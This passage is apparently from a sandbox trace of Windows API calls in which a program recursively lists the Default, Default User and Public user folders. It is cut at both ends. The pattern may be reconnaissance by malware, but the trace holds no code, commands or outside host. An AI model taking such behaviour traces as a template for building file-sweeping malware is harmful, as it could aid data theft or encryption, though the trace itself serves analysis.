lpString1="Start Menu") returned="Start Menu" [0128.333] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0128.334] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0128.334] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.334] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0128.334] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0128.334] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.334] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0128.334] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0128.334] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.334] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.334] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0128.334] SetErrorMode (uMode=0x1) returned 0x1 [0128.334] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0128.334] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0128.334] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Templates\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0128.334] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0128.334] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.334] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0128.334] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0128.334] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0128.334] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0128.334] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.334] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0128.334] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0128.334] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.334] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.335] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0128.335] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0128.335] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.335] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.335] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0128.335] SetErrorMode (uMode=0x1) returned 0x1 [0128.335] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0128.335] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0128.335] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Videos\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0128.335] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0128.335] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.335] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0128.335] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.335] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.335] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.335] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.335] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.335] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0128.335] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0128.335] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0128.336] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0128.336] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.336] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.336] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.336] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.336] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.336] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0128.336] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.336] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.336] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.336] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.336] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0128.336] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0128.336] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.336] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.336] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0128.337] SetErrorMode (uMode=0x1) returned 0x1 [0128.337] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0128.337] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default User\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0128.337] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0128.337] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0128.337] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0128.337] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.337] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.337] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.337] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0128.337] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0128.337] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0128.337] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0128.337] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0128.337] SetErrorMode (uMode=0x1) returned 0x1 [0128.337] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0128.337] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default User\\Videos\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0128.337] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0128.337] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.338] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0128.338] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.338] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.338] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.338] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.338] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.338] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0128.338] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0128.338] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.338] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0128.338] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.338] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.338] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.338] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.338] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.339] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.339] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.339] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.339] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.339] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.339] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0128.339] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0128.339] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.339] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.339] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.339] SetErrorMode (uMode=0x1) returned 0x1 [0128.339] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.339] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.339] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Public\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.339] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0128.339] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0128.339] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0128.339] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.339] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.339] lstrlenW (lpString="desktop.ini") returned 11 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.339] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.340] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.340] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.340] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.340] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.340] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.340] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0128.340] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0128.340] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0128.340] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0128.340] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.340] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.340] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.340] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0128.340] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0128.340] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.340] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.340] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0128.340] SetErrorMode (uMode=0x1) returned 0x1 [0128.340] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0128.340] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0128.340] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\AccountPictures\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0128.340] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0128.340] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.340] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0128.340] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0128.340] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.340] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.340] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.340] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.340] lstrlenW (lpString="desktop.ini") returned 11 [0128.340] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.341] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.341] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.341] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0128.341] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0128.341] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.341] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0128.341] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0128.341] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.341] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.341] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.341] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.341] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.341] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.341] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.341] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0128.341] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0128.341] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.341] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.341] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0128.341] SetErrorMode (uMode=0x1) returned 0x1 [0128.341] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0128.341] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0128.341] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Desktop\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0128.341] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0128.341] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.342] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0128.342] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0128.342] lstrlenW (lpString="Desktop") returned 7 [0128.342] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.342] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0128.342] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0128.342] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.342] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0128.342] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0128.342] lstrlenW (lpString="Desktop") returned 7 [0128.342] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.342] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.342] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.342] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0128.342] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0128.342] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.342] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.342] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0128.342] SetErrorMode (uMode=0x1) returned 0x1 [0128.342] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0128.342] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0128.342] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Documents\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0128.342] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0128.342] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.343] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0128.343] lstrcpyW (in: 